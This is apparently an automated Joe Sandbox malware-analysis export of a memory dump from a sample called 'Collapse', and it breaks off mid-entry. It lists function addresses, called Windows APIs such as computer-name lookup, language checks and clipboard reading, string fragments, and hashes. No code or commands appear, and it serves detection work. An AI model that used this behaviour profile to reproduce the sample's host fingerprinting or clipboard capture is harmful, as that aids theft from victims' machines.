Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da46085564fd87b54e877af663b6603514f0e6bd29712242b6c0843e244e706b
Instruction ID: 146906b21e84a71a5447d267da4ba6aaf717e0b7f914c08b2fcba104c0b58f90
Opcode Fuzzy Hash: da46085564fd87b54e877af663b6603514f0e6bd29712242b6c0843e244e706b
Instruction Fuzzy Hash: 61517D72E042205BD7249F18CC9077BB391EFD9704F16952EDD85B7390E6399C118BCA

Function 0042C04D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042DCD0

Strings

4"c, xrefs: 0042DC43
=\5L, xrefs: 0042DC4F

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: ComputerName
String ID: 4"c$=\5L
API String ID: 3545744682-2031509168
Opcode ID: c55048f07ef31538b9a2baa572c2c505415656f19f2100f233e48fb0a8608c5c
Instruction ID: 2e8b8599f79e335cf919de20d570e3b8fd45cb10d68f9f43c6aa7e89891f6a16
Opcode Fuzzy Hash: c55048f07ef31538b9a2baa572c2c505415656f19f2100f233e48fb0a8608c5c
Instruction Fuzzy Hash: 442133396016118FE315CF25CC80A2277A3FFC6310B59C0ADD4868B765CB79E802CB40

Function 004367C7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004367F6

Strings

O, xrefs: 00436801

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: O
API String ID: 95929093-1565894260
Opcode ID: 7616a595526bafa3687f96e99e0534a833ac6c132625a1b12df8f9f0694abd48
Instruction ID: 11def839418fd5d686b5f591c2ee6643e49fceff057299cf769fe895b6b669d2
Opcode Fuzzy Hash: 7616a595526bafa3687f96e99e0534a833ac6c132625a1b12df8f9f0694abd48
Instruction Fuzzy Hash: F901D6769001028BDB04AF79D9152AEB7A3BFD8311F29C57DD80157319D7389542C756

Function 0040C846 Relevance: 3.1, APIs: 2, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C84A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C995

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 33b9f3f75c944a81cb14bf5bc3ef0b3239042d20b42293b3aa2c6582cb5774df
Instruction ID: 11e91efd5d4a476de7439511b11a1cf4b6fad113809ff6bef81543a0c430e8d1
Opcode Fuzzy Hash: 33b9f3f75c944a81cb14bf5bc3ef0b3239042d20b42293b3aa2c6582cb5774df
Instruction Fuzzy Hash: 5641F9B5D10B00AFD370EF3DDA4B7127EB4AB05250F40872DF9E68A6D4E630A4198BD6

Function 0043E060 Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043E0A6

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71dc51ca2d6fc07a2931c77ea297b4b54f03fc9e93f09199e39f5efe2c1ae787
Instruction ID: fec0c123637ed751c7014e425ce955774d5f5479ead2028489dbbb7dd98cc405
Opcode Fuzzy Hash: 71dc51ca2d6fc07a2931c77ea297b4b54f03fc9e93f09199e39f5efe2c1ae787
Instruction Fuzzy Hash: ADF0F07A824210FBC6012F29BD0194B3674EF8B329F05187AF00052022EB39C802EBAA

Function 0043E1D2 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E275

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 6cb32618bc487382298e5b6f1fc3e7adf649a3ed36cba32df02c21826e090ae5
Instruction ID: 9ddbf6b16d43b63eaacfaa2c81d09df84929580d8ee5ee5cfd18515a6355f7fe
Opcode Fuzzy Hash: 6cb32618bc487382298e5b6f1fc3e7adf649a3ed36cba32df02c21826e090ae5
Instruction Fuzzy Hash: 24F0F6B6A061604BD7088F29D90535773E0AB8A305F005839E546D33A1D53A8D44C34A

Function 0043041B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430461

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: bd91b47e3060ad55cf2fe4b042bfb56b19f806254a51f7806ddc3c1a1fe9ff79
Instruction ID: 99560750887db020c88b0009a58cd09569da982514c7974981007fb546798a58
Opcode Fuzzy Hash: bd91b47e3060ad55cf2fe4b042bfb56b19f806254a51f7806ddc3c1a1fe9ff79
Instruction Fuzzy Hash: 30F0DAB4109701CFD314DF28D5A471ABBF0FB89704F10881CE1968B3A0CB75AA48CF82

Function 00432D4D Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432D91

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 56f13f92b7a1255e101520ede486534905b2a37b1a9ed86f7e4f59851042d4ca
Instruction ID: 62b65a42f15d7cc2309a1e08c51f1bcdbc725ecad25909c5d2c23be4bac06d58
Opcode Fuzzy Hash: 56f13f92b7a1255e101520ede486534905b2a37b1a9ed86f7e4f59851042d4ca
Instruction Fuzzy Hash: 0CF07FB45093429FE318DF25D5A871FBBE1BBC9308F60C91CE0944B694C3B59A098FC2

Function 0040C9FD Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CA0F

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 0cf74e8c4fa9b9cebf6749d4c54df742595b7de921fd658c64fc65029d3aeeff
Instruction ID: ed5a73b1c9677f79df57209a6001f27ef0f41a1ff87bfd8a32e0076880d6d603
Opcode Fuzzy Hash: 0cf74e8c4fa9b9cebf6749d4c54df742595b7de921fd658c64fc65029d3aeeff
Instruction Fuzzy Hash: 4FD092783E47417BF6645B08AC17F107610A746F22F300224B362EE2D2C9907501861C

Function 0043C1E0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043E098,?,?,00000000,0040B30C,00000000,0040B333), ref: 0043C1FE

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 161d6cc876b25b1b36f87deb656d717efb24626576a8b71b331aa942640a628b
Instruction ID: 4d879e3e48c6dc2181385bdab1c4d598bb94be339152225f8128b242698bd753
Opcode Fuzzy Hash: 161d6cc876b25b1b36f87deb656d717efb24626576a8b71b331aa942640a628b
Instruction Fuzzy Hash: 63D01232415232FBC6111F28FC06B9B3A54DF0A321F0308B6B4406B071D674DC91D6D8

Function 0043C1C0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000001,00408819,556D4AF4), ref: 0043C1D0

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b70c299dbf8ad026ff3d646b08906a76d3bb47b7d5cd047be35dc264748042f0
Instruction ID: f06daee52db04fef9ffd77a93bf39f1218852508e2b390a71e91873d75b177fd
Opcode Fuzzy Hash: b70c299dbf8ad026ff3d646b08906a76d3bb47b7d5cd047be35dc264748042f0
Instruction Fuzzy Hash: 12C09B31455230BBC6102F15FC05FCA3F54EF56355F4550A7B04467072C760AC82C6D8

Non-executed Functions

Function 0041D810 Relevance: 12.0, Strings: 9, Instructions: 788COMMON

Download Yara Rule

Strings

(`"w, xrefs: 0041DAE0
tk, xrefs: 0041DA03
/t, xrefs: 0041DB10
;,gk, xrefs: 0041DAC0
=t2c, xrefs: 0041DAC8
"2&, xrefs: 0041DB28
+d4v, xrefs: 0041DAF8
;d$v, xrefs: 0041DAB8
w, xrefs: 0041DB73

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: w$"2&$(`"w$+d4v$/t$;,gk$;d$v$=t2c$tk
API String ID: 0-929208450
Opcode ID: 6fe4a89783577b8b8dc71a87290f0745d8695e541a1e71c7b3b54c067a0c1ff1
Instruction ID: 57b87d57f3c9de9105bea4e881d15640b7cf8e54a8238bdd52f6ede7f2aa1e3f
Opcode Fuzzy Hash: 6fe4a89783577b8b8dc71a87290f0745d8695e541a1e71c7b3b54c067a0c1ff1
Instruction Fuzzy Hash: 444279B490C3908FC321DF25C8507AFBBE1AF95314F14866DE8E55B392D73A8945CB8A

Function 00410E59 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 486COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 0041100D

Strings

q6, xrefs: 0041102E
#, xrefs: 0041137F
qi, xrefs: 00411145
Vh, xrefs: 00411192
#o, xrefs: 0041141C

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #o$#$Vh$q6$qi
API String ID: 237503144-3610294576
Opcode ID: 24bdf68054bc932f38a150c690828f4dcff0b4b26ec284e7472666cb6aaeadb5
Instruction ID: 8b034082395f838573e0f9c1b77793219c578cee44d2a0a158306dbafd125d5e
Opcode Fuzzy Hash: 24bdf68054bc932f38a150c690828f4dcff0b4b26ec284e7472666cb6aaeadb5
Instruction Fuzzy Hash: 3712A171A1D3408BC3249F79C4853EEB7E1AFC8314F15892FE9D997391DA7889818B4B

Function 00433510 Relevance: 9.1, APIs: 6, Instructions: 137clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433534
GetClipboardData.USER32 ref: 0043354F
GlobalLock.KERNEL32 ref: 00433573
GlobalUnlock.KERNEL32 ref: 004336C2
CloseClipboard.USER32 ref: 004336CA

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 23d8670c13223ac8d427bdc199c3b0764472a9e89a818100f6a68e5cbb47d912
Instruction ID: 07fa625490295a4e76969198190a3f4785a56c74a67cc5372c365e7d5e2a77eb
Opcode Fuzzy Hash: 23d8670c13223ac8d427bdc199c3b0764472a9e89a818100f6a68e5cbb47d912
Instruction Fuzzy Hash: DD41B2B2D086119FD710AFB4D48626EBBB0BF44301F05853ED8859B341D7789A89C7DB

Function 00424C22 Relevance: 7.7, Strings: 6, Instructions: 152COMMON

Download Yara Rule

Strings

!{~{, xrefs: 00424CF6
/{,{, xrefs: 00424C93, 00424C50
/{,{, xrefs: 00424D16
#{ {, xrefs: 00424CEE
$SB, xrefs: 00424DE9
-{"{, xrefs: 00424CE6

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: !{~{$#{ {$$SB$-{"{$/{,{$/{,{
API String ID: 0-1771253900
Opcode ID: 7bebbd97323a1261463950372c1b97b88e21cd78cba162f4dc5dc500385f8341
Instruction ID: f72d43909fc2cb886aae9656cee39960dfeaccfc7b1c9dd6433920021e8c23de
Opcode Fuzzy Hash: 7bebbd97323a1261463950372c1b97b88e21cd78cba162f4dc5dc500385f8341
Instruction Fuzzy Hash: EB41203861A310CBC7249F60E86167BB3F1FFC6341FA5186DE58297360E7788850CB4A

Function 00422F30 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 248COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00423065
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004230EA

Strings

obx1, xrefs: 00423029
Pbx1, xrefs: 00422FBD

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Pbx1$obx1
API String ID: 237503144-3160095297
Opcode ID: 5106aa6e973730c3b83cd0979d0ce10b40904b4194778254b7e470db64bab909
Instruction ID: 2d043df027a7d3965e94ad614ed74330e79769a2ec18d521d99abd520c407aeb
Opcode Fuzzy Hash: 5106aa6e973730c3b83cd0979d0ce10b40904b4194778254b7e470db64bab909
Instruction Fuzzy Hash: B881007565C311AFE320CF60EC81B1BB7E4FBC5704F11892DFA946B290D7B499068B86

Function 004191D0 Relevance: 6.8, APIs: 2, Strings: 1, Instructions: 1579COMMON

Download Yara Rule

APIs

Part of subcall function 0043E0F0: LdrInitializeThunk.NTDLL(004412BD,?,00000018,?,?,00000018,?,?,?), ref: 0043E11E

FreeLibrary.KERNEL32(?), ref: 0041996A
FreeLibrary.KERNEL32(?), ref: 00419A1B

Strings

+4, xrefs: 0041977B

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: +4
API String ID: 764372645-371006243
Opcode ID: 3301f3774f5d48760759db29dae918f8e9cf7fcd14da139f1d661ed454fde207
Instruction ID: e567363f145b97950688bf2fb24687bf24cae1b5c1e056b29fc721f4ee7eab79
Opcode Fuzzy Hash: 3301f3774f5d48760759db29dae918f8e9cf7fcd14da139f1d661ed454fde207
Instruction Fuzzy Hash: 2FB27876A463105BE710CF64CD803ABB3E2ABD4304F1AC42DE98597391E7BD9C95CB86

Function 0043D71C Relevance: 5.3, Strings: 4, Instructions: 257COMMON

Download Yara Rule

Strings

Z{V, xrefs: 0043DA1C
Z{V, xrefs: 0043D86C
g{V, xrefs: 0043DA6A
g{V, xrefs: 0043D8BA

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: Z{V$Z{V$g{V$g{V
API String ID: 0-4205598400
Opcode ID: 791a6db6d37bca967a7d8775af97a9ff635258d7e804846fcbed0c4246788259
Instruction ID: 2735a1024a3d6ab3e679d68841893f3a8e932053e0ba995e88a79267ffb60799
Opcode Fuzzy Hash: 791a6db6d37bca967a7d8775af97a9ff635258d7e804846fcbed0c4246788259
Instruction Fuzzy Hash: E2816872D04300ABE308DF29DC4272BB6E2EFE5309F15953ED88DA7322E7788455875A

Function 00438430 Relevance: 5.2, Strings: 4, Instructions: 175COMMON

Download Yara Rule

Strings

64, xrefs: 00438521
ro, xrefs: 004384BE
~f, xrefs: 004384C5
B8, xrefs: 0043851A

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: 64$B8$ro$~f
API String ID: 0-3005907464
Opcode ID: 67815121782669229ad639897576599399b8a1b1fb1bb0a6c3ef3cab52bda6e9
Instruction ID: f77cf1fb63027d9000466c16fe93f40d09de28bfb3c593ed1783a49cb2f31834
Opcode Fuzzy Hash: 67815121782669229ad639897576599399b8a1b1fb1bb0a6c3ef3cab52bda6e9
Instruction Fuzzy Hash: 0851E52651C3A186C7149B38850505FE7E2AFD9320F28AD2EF8E597764EA39C843C35B

Function 00417A51 Relevance: 4.6, Strings: 3, Instructions: 815COMMON

Download Yara Rule

Strings

L4, xrefs: 00418380
L4, xrefs: 004180A0
cc, xrefs: 00417D50

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: cc$L4$L4
API String ID: 0-2811325430
Opcode ID: 7d62c9bf4bf14ae5ebb66ecd520c370ab74c84cd16f4799bf9f81593496fd45d
Instruction ID: bcc7170a97565d77c4348bff3c6b942111de8cda2cf3e40afdd33485117747e3
Opcode Fuzzy Hash: 7d62c9bf4bf14ae5ebb66ecd520c370ab74c84cd16f4799bf9f81593496fd45d
Instruction Fuzzy Hash: FC423476A083519BD724CF24C8547AFB3E2FFC5304F15892EE88997391EB399845CB86

Function 00426837 Relevance: 3.1, Strings: 2, Instructions: 556COMMON

Download Yara Rule

Strings

sub, xrefs: 00426C70, 00426C74
4w, xrefs: 00427060

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: 4w$sub
API String ID: 0-3989355360
Opcode ID: 49237ceb415039d448eff18524d38ad99e91b372b50cd8c51f520d07d13edde3
Instruction ID: fb506ad9777267d5baf7ad5e03968dedae21db2d769d98f9343bedbe223205fe
Opcode Fuzzy Hash: 49237ceb415039d448eff18524d38ad99e91b372b50cd8c51f520d07d13edde3
Instruction Fuzzy Hash: 61027C71A082618BC7149F28D85136BB7E2EF85304F49487FE8C997382D63DDD45CB9A

Function 0043A1A9 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

X w , xrefs: 0043A450
:, xrefs: 0043A6B7

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: :$X w
API String ID: 0-1300669176
Opcode ID: da439eb0edf64d587349cd665ca4562f53eb16d7733249cc7a6b1eb03273180c
Instruction ID: 5ded977b00c1926fc7bc06d4f9b45fa2cffaf300d00cc5cfff9bfe83dc4de463
Opcode Fuzzy Hash: da439eb0edf64d587349cd665ca4562f53eb16d7733249cc7a6b1eb03273180c
Instruction Fuzzy Hash: 70D1D43A628311CBCB189F38D8512AB73F1FF4A755F0A887DD9814B2A0E73A8D61D715

Function 00409140 Relevance: 2.9, Strings: 2, Instructions: 403COMMON

Download Yara Rule

Strings

>:, xrefs: 0040919C
4/, xrefs: 00409295

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: 4/$>:
API String ID: 0-3529472704
Opcode ID: 821f3d929cc9ec9ff969c50021c4a1541ab36428585dd371a4b593deff11f8fc
Instruction ID: 8b1a751cfb05d5f152768d7c29b6ea9f203b357cb662e081bdd6b6ddfd1c81bd
Opcode Fuzzy Hash: 821f3d929cc9ec9ff969c50021c4a1541ab36428585dd371a4b593deff11f8fc
Instruction Fuzzy Hash: E7B1E77250C79197D325CF29C85076BFBE0EF96304F09596EE8C5AB382D2398D06C79A

Function 00421200 Relevance: 2.8, Strings: 2, Instructions: 276COMMON

Download Yara Rule

Strings

V<V<, xrefs: 00421260
C<X<, xrefs: 00421250

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: C<X<$V<V<
API String ID: 0-2217627203
Opcode ID: 6fdfba9d35220f6eb72d435abaee4269093627fe2cbc792f237b65be4f121c62
Instruction ID: d7075f50ca02dd5208c2294db79d2b3416935b123847e84921d14f1daebbff4d
Opcode Fuzzy Hash: 6fdfba9d35220f6eb72d435abaee4269093627fe2cbc792f237b65be4f121c62
Instruction Fuzzy Hash: 958123B17043109BD720EF20DC82B6B73A5EFA1358F54452DE9898B3A0E779E904C76A

Function 0042BC3F Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

{f}^, xrefs: 0042BDD6
,V^, xrefs: 0042BC52

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: ,V^${f}^
API String ID: 0-1595990451
Opcode ID: 3b9a1f8e9a04661860723fee800bef90dc1aa205d70ae4e221e6d8bcb30e85a8
Instruction ID: cfb5c7e8e4236475c6a0308872e5c117798408d73ac891a23abfac3428d40e75
Opcode Fuzzy Hash: 3b9a1f8e9a04661860723fee800bef90dc1aa205d70ae4e221e6d8bcb30e85a8
Instruction Fuzzy Hash: C24167715142428FD3158F29D4506B6F7E2FF9A310F6944ADC0C6DB363CB35A812CB98

Function 00413DA0 Relevance: 2.1, Strings: 1, Instructions: 846COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414370

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 1a9254611d98cb9692bd3a4c8e51cbb30cb74b38d5dde627dce16751d1310c2a
Instruction ID: 7004b2878cd400f1de1fa292433d6f081f3da8a2972005a462f6adbce4c46a78
Opcode Fuzzy Hash: 1a9254611d98cb9692bd3a4c8e51cbb30cb74b38d5dde627dce16751d1310c2a
Instruction Fuzzy Hash: CF3252B56043019BDB14CF28DC42B6B73A1FFC6329F04462DF995872E2E778A895C74A

Function 004146D0 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

66, xrefs: 00414763

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: 66
API String ID: 0-3205838671
Opcode ID: 3a4d689b5adf689f7e773fabaa029fd38597a9d7bedb459be3e582fb5524401a
Instruction ID: 9fe8fbb1db8033f3c1f89b903ab653d0fea1255b9a6616099de0bb8dbe5f3607
Opcode Fuzzy Hash: 3a4d689b5adf689f7e773fabaa029fd38597a9d7bedb459be3e582fb5524401a
Instruction Fuzzy Hash: 24E115B59093508BD7209F14DC457ABB3E1FFC6314F04492EE9899B391E7389841CB9B

Function 0042A8B0 Relevance: 1.7, Strings: 1, Instructions: 411COMMON

Download Yara Rule

Strings

", xrefs: 0042AB98

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 0ca39e861fa632e47d5f6bce64f6f17302d4ac7f6a551dceb9a0f9bf01575074
Instruction ID: f5867da1ea70d0d101c915f774d8f20d3652d628c40eff7af88a76f5ab517ec6
Opcode Fuzzy Hash: 0ca39e861fa632e47d5f6bce64f6f17302d4ac7f6a551dceb9a0f9bf01575074
Instruction Fuzzy Hash: B6C113B1B082205FD7148E26E45076BB7D6AF84354F89892FEC958B382D738EC54C787

Function 00417303 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

vA, xrefs: 0041751A

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: vA
API String ID: 0-2626632682
Opcode ID: ebcf7cf2aeedbb24a8c659c7d4582e31529fad8f0b1c1028a6d108a1d64021b8
Instruction ID: 61edbe3d95db78a7c36f43a47597acbbf32b880cf722f3ac2fbffe32f33ea027
Opcode Fuzzy Hash: ebcf7cf2aeedbb24a8c659c7d4582e31529fad8f0b1c1028a6d108a1d64021b8
Instruction Fuzzy Hash: CE91F571A1D3109BC324DF28C4516ABB7F2EFD5350F04992EE8C59B391EB389941CB9A

Function 004253E5 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

dVB, xrefs: 0042565E

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: dVB
API String ID: 0-3299631232
Opcode ID: 4afb3a0be42bc4e84ee4da61528e2b8b1700afdb80440233dbd69cf79bf1f5e7
Instruction ID: a97b9f0ef3ad75d7b6603331337a6a56183422bbfce358318dfd7cf009b5dbc9
Opcode Fuzzy Hash: 4afb3a0be42bc4e84ee4da61528e2b8b1700afdb80440233dbd69cf79bf1f5e7
Instruction Fuzzy Hash: 30513232709B618BD720CA64D4413BBF7E2EF91350F88892ED5C987385E23CE885D74A

Function 0042BCC8 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

{f}^, xrefs: 0042BDD6

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: {f}^
API String ID: 0-3345101915
Opcode ID: f5d202ce778f47b005ea60204e4605a4ca8240e635d849a4e369c3dec0b357be
Instruction ID: 1a0e80ca4230d2559a2117eba3d642fabff395816ed48fe25275b8269107ae4a
Opcode Fuzzy Hash: f5d202ce778f47b005ea60204e4605a4ca8240e635d849a4e369c3dec0b357be
Instruction Fuzzy Hash: B64116701142528ED7258F39D4206B6F7E1EF9B300F69949DC0C6DB372DB35A812CB98

Function 0043E7DE Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E7B0

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

